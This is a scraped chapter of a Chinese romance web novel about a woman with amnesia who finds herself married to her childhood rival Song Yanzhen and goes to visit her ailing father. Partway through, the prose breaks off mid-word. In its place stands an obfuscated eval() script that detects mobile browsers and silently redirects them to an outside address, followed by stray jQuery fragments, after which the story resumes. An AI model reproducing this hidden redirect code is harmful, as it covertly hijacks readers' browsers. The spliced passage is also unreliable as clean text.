“宋言祯你去死!”
贝茜快疯了,一把扑回自己的贴身小裤子藏在背后。
不知道是气得还是羞得,她耳根子煞红:“你会有这么好心帮我吗?不扔我东西就不错了吧。”
“我什么时候扔过你东西?”
宋言祯指尖微松,她裤带的系绳离开他的手,垂落下去。
事实上,在问出口的刹那他就想起来了。
从小尿不进一个壶里的两个人,多数时候都是贝茜在挑刺,宋言祯相对忍让。
于是前二十多年人生,她扔他东西不计其数,而他真正付诸行动的反击,只有18岁那一次。
如果时间跟着贝大小姐的失忆症倒退。
退回2021年高考动员大会那个下午。
他习以为常地接受着她的挑衅,接起师兄的电话,眼看着她炸毛。
她才不管他在听电话,
“既然你这么忙,还特地回来做什么宣讲啊?”
他天生敏慧,能从通话间隙里分神给她,但他不打算回答。
少女不依不饶:“没参加过高考的人居然要动员高考?你不觉得可笑吗?”
是,他不需要高考。
甚至他只在高中待了高一这一年而已。
别人挣扎苦渡,于他而言只是人生踏板。
电话里,同门师哥在和他确认出国的日期,
“7月出发,德国心胸外交换生资格难得,不过哥们几个都相信你的实力,等你学成归来。”
那时他获得了公费留学的资格,下个月就要离开沪市,本博连读,一去就是三四年。
“嗯。”他应声。
没想到贝茜突然爆发脾气:“你这个混蛋!”
直到她凶巴巴打落他的发言稿,他才对即将脱离这位骄横公主的事实有了实感。
恰巧师哥又问了个小问题,他快速应答后挂断电话:“我这儿有事要处理。”
处理她的脾气。
初成大人的宋言祯情绪很稳定,但还是会被她缠得失去冷静。她问他为什么会来,是,他为什么会在不可开交的忙碌中,还选择回来高中校园?
他也在问自己。为什么。
眼前,她还在任性,对日后长久的分别一无所知,对这次的见面毫不珍惜,
纷乱繁杂心绪充斥,他意识到该对她凶一点。
但只是一点,她就哭了。
两个人都不太记得那天是怎样收场的,只知道贝茜最后也没有道歉,更没有纡尊降贵为他捡东西。
宋言祯松开手,留下一句:“希望下次见面,你能成熟点。”就转身离开。
那天他们没再说一句话,台下人群里,只有贝茜用杀人的眼神瞪视台上的人。
当时她没想到,宋言祯居然真的可以脱稿即兴演讲。
更没想到今天,他说的“下次见面”已经在她记忆里消失了。
失忆患者的“下次”竟是一睁眼【已婚】,居然还是跟他?!
——关于这段回忆,宋言祯不做评价。
他最先回神,意识到问题的关键:贝茜的失忆到什么程度?她究竟失去了多少记忆?
“我是什么时候扔你东西的?”
宋言祯扶她在旁边的丝绒凳坐下,典型的用行为干扰思考,让对方卸下防备的举动。
贝茜的记忆到高三为止,理所当然把自己当高考生。
她想也没想就答:“前两天呗!你把我书扔路边了呢。”
见宋言祯挑眉,她才后知后觉,不甘心地改口:“高三……高考前,你回校宣讲那天。”
宋言祯单膝触地,蹲下身与她平视,再次确认:“所以,你目前只有高考以前的记忆?”
贝茜努力地往后回想,却始终空白,脑袋的记忆储存区像坏掉的硬盘,调取指令无响应。
她甩甩脑袋,“嗯”了声:“之后的事情一点都想不起来。”
包括她最想知道的,为什么会和宋言祯结婚?
“也就是说,”宋言祯维持着下蹲姿势,肘臂搭膝,淡微垂睫,有了完整定论,
“你失去了从大学到我们结婚一周年,这期间的五年记忆。”
原来已经结婚一年了……怪不得宋言祯能随意进出她家。
等下,重点不是这个!
贝茜忍不住挥舞起手来:“是又怎么样?不要以为我失忆了你就可以胡说八道骗我。”
她忘了自己手里还拿着内裤,严正警告:
“我要去看爸爸,要是被我发现他没事,是你咒我爸爸的话……”
那块丝滑的三角布料,被她挥甩起来,宋言祯身姿劲挺地蹲在她身前,不可避免地险些被舞到脸上。
男人反应迅速地偏头避让,倒是没说什么,反问:“你知道爸在哪么?”
“……不知道。”
她赶紧把内裤又塞回身后,浑身不习惯地嘀咕一句,“还有,谁允许你叫爸了。”
他望了眼窗外夜色没搭腔,口吻冷淡平常:“今天太晚,爸需要休息,明天带你去。”
这人?怎么越不让叫他越要叫呢?
贝茜抱怨他:“你是不是在故意跟我作对啊?”
他抿了下唇角起身,疏冷勾唇,以问代答杀死比赛:
“你手上的,不如先穿上?”
好,贝茜怒了,骂他不知廉耻,让他去死。
她连忙跑进浴室换好自己的睡衣。
宋言祯也向来懂得适可而止,他看着她洗漱好后,自觉地转身去了客房。
“有事直接叫我,房门没关。”他轻车熟路走到离她最近的客房。
贝茜想让他滚回对面他家的别墅,又想到目前她的身体状态不济,这男人留在这方便自己使唤,也挺好。
“喂,宋言祯。”她出声叫住他。
男人停在房间门口,身形挺拔而又松弛,回眸等她说话。
这几天照顾贝茜,宋言祯没时间整顿自己,随意的穿着却更显优越从容。
西服外套随意搭在臂弯,衬衫领口解了两颗扣子,露出一段靓利白皙的颈线。
贝茜难得动脑,自以为找出他的谎言破绽,双手环胸,机智问话:“你不是说我们是夫妻吗?怎么分房睡啊?”
宋言祯瞄着她,不知在想什么,半晌开口反问:“你现在的状态,能接受和我一起睡?”
“……当然不能!”贝茜差点跳起来。
“所以。”
他丢下两个字,迈步走入客房的黑暗之中。
不是,还显着他聪明细心了呗?
贝茜懊恼地发誓要少跟宋言祯说话,砰地关上门,埋进被子里睡去。
自从车祸后,太多巨变冲击,太多她无法接受的消息,仿佛一觉睡醒就被世界抛弃在身后,所有人大步向前走,全都没有等她。
对事事争先的贝茜而言,彷徨恐慌来得更快更汹涌。
所幸她的房间格局没变,床品花色都和记忆里一样,她裹紧被子缩在床头小夜灯的亮光庇佑中,才勉强感受到一丝安定。
不知道是不是孕激素在起作用,姗姗来迟的委屈和伤感侵袭着她。
眼角带着惶惑不定的泪意,贝茜将被子盖过脸,逼自己入睡。
**
因为惦记爸爸的状况,贝茜天不亮就起床闯进客房。
像宋言祯昨晚说的,他没关门,贝茜径直走进去,看到眼前的画面不由愣了。
宋言祯竟然没在床上,而是陷在桌前的办公椅里。桌面上钢笔与文件整齐摊放,屏幕的冷光映着他的颌线。
他双臂环在胸前,头微微后仰靠着椅背,工作用的黑色半框眼镜滑至鼻梁,很明显是通宵后的浅眠。
贝茜一直知道他聪明又努力,没想到他这么拼。
都说士别三日刮目相看,贝茜这一下子失去五年记忆,倒也新鲜,像把熟人重新认识一遍。
勉强再等半个小时吧,她下意识放轻手脚,准备离开。
却在转身时听到男人微哑泛凉的声线:
“起这么早,很担心?”
她顿步,如实点点头。
随后她听到一阵短促的窸窣,宋言祯摘下眼镜搁在桌上,拎起搭在椅背的外套:“我洗漱,一会儿出发。”
她张口欲言,看到他快步进入洗手间的背影,只好选择收声。
宋言祯的冲凉洗漱时间把控在二十分钟,带着贝茜往车库走时,身上还隐约残留着剃须水的薄荷凉气。
贝茜跟在他后头,上下打量:“能不能行啊你?宋言祯你要是熬夜了可别疲劳驾驶啊。”
宋言祯没说话,打开车门将MacBook和文件袋放在后座。
贝茜左右观察,惊奇地发现宋言祯开的车,还是当年那辆Aston Martin DB12。
生在宋家这种量级的豪奢门阀,他竟然可以物欲低到五年不换车。
不过看到眼熟的东西,贝茜还是很高兴的,她好心拍拍他后背:“要不我来开车,你给我指路就行。”
宋言祯直起身,单手搭在车门边框上看着她问:“你记得怎么开车?”
瞧不起谁呢?
贝茜的眉头一下子就拧紧了:
“我只是失忆,不是失能好吗?人专家都说了,生活技能和记忆是大脑的两个不同区域,基础功能不会丧失,亏你是个医学生,这都不懂。”
宋言祯抬手捏按山根:“需要提醒你是怎么失忆的吗?”
她理直气壮:“我知道,车祸嘛。但是那又怎样?反正我没有车祸的记忆。”
他微不可闻地笑了声:“记吃不记打的本性倒是没变。”
“彼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16803677|190716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
此彼此,都五年过去了,你这张看起来漂亮实际会喷毒的嘴巴也没变!”
他笑意更深,把她扶进车里:“走了,家里有司机。”
贝茜傲然:“怎么不早说?”
……
春风沿途,丛簇的枝丫还在静默,幼小到难以察觉的苞蕾半遮半掩,孕育着某种崭新的意象。
【松石|科学疗养中心】
这里是宋氏旗下高端疗养院,环境堪比顶奢酒店。
住在这里的病患非富即贵,套房内不仅有顶尖医疗科技配套,还有私人定制化的服务团队。
贝茜带着墨镜口罩,扒在走廊转角的墙边望风。
她视力不错,能从门上狭窄的玻璃开口看见里面人影晃动,妈妈似乎在照顾爸爸,爸爸虽然坐在病床上,但行动自如应该目前没有大碍。
宋言祯手里拎着她吃剩的早餐,垂眸凝视她探头探脑的动静,微微挑眉,轻咳了声提醒:“进去看?”
“嘘!”贝茜很严肃地让他噤声,
“现在我对爸爸的病情不了解,到时候进去了一问三不知,不就被发现我失忆了吗?”
“万一把我爸妈吓出个好歹来,你有几个医学天才够用啊?”她小手一指,拿高中校园里他遗留的天才名号挖苦他。
宋言祯不远不近得斜倚在墙壁,没搭腔。
他低眼将视线落在她身上,见她仍扒着墙角往里面偷觑,焦躁紧张的情绪明显。
站在父母门外,贝茜才懂近乡情怯。失去记忆的她要临时补课的事情太多,她头也不回地,忍不住问了一堆:
“爸爸已经病了三年了?是不是很严重?”
“最坏到什么程度?”
“他病倒后家里是我在撑还是妈妈在撑?”
结果她噼里啪啦问了半天,身旁男人一句话也没答,贝茜不满地转头瞪他:“问你话呢!”
宋言祯眉骨略动,这才开口,“时好时坏,最坏会死。”
“还好,你撑过来了。”
她意外地怔愣:“我吗?我有这么厉害?”
宋言祯依旧姿态松散闲倚着墙,下颌微含,看着她“嗯”了声:“是有点厉害。”
贝茜奇怪瞥他一眼,“看什么看?还不快跟我说说,失忆之前我们在爸妈面前是怎么样的?恩爱夫妻还是相敬如宾?”
贝茜没时间再拖了。
妈妈是半辈子都在搞艺术的烂漫沪都小姐,还算好骗。但只要她稍有不慎露出马脚,绝对瞒不过白手起家商场纵横的老爸。
可偏偏,这本该跟她统一战线的男人,看上去并不打算好好配合,好整以暇地来了句:“你不是一直觉得,我在骗你么?”
“现在说这些,几个意思呢你?”贝茜咬牙。
宋言祯抬手,指尖漫无目的点着额角:“骗子的话,你确定要信?”
故意的,这狗男人绝对是故意想跟她过不去。
说什么爱来爱去,她就知道不管过去多少年,她跟宋言祯从仇人变爱人这种事怎么听都是天方夜谭。
“你管我呢?别废话赶紧说!”贝茜强迫自己先咽下这口恶气,
“我爸受不了任何刺激,所以我们等下进去千万不可以露馅,知不知道?”
宋言祯望着她又心急又认真的模样,倏尔笑了,淡淡开口:
“想不露馅,就先把称呼叫对。”
“什么称呼?”贝茜总觉得他表情下掩着狡诈。
她仔细想了想:“我现在能想到对你的称呼只有冷脸怪、装逼犯、毒男……”
都是她高中骂他的话。
“……”宋言祯收回视线,舌尖顶腮,低嗤,“既然不是诚心想聊,那你独自去见岳父,应该没问题吧?”
贝茜就是再撞坏脑袋,此时也该听出他话里带有威胁的嘲弄。
她立马以子矛攻子盾:“不行,我们不是已经结婚了吗?现在可是一根绳上——”
“所以,你该叫我什么?”他森凉接话。
好家伙,这根矛扎她自己身上了。
贝茜眉梢微抽搐,磨蹭半天,才勉强憋出两个字:“言祯。”
宋言祯并没有动容:“不对。”
一不做二不休:“阿祯?祯祯?”
“都错。”宋言祯似乎有很多耐心等待。
可是再拖下去,等下要是妈妈突然从病房里出来,到时候惹起疑心就麻烦了。
贝茜在焦急中灵光一现:“该不会是……?”
她震惊地用口型对出那两个字。
老,公?
宋言祯眉梢轻挑,隐微弯起唇角。
他静立于光影交界处,半面矜骄,半面阴晦,昂贵西装勾描出优雅挺拔的轮廓。
男人在给予指令的低沉嗓音里,含混了三分蛊惑:
“嗯。乖,叫出声。”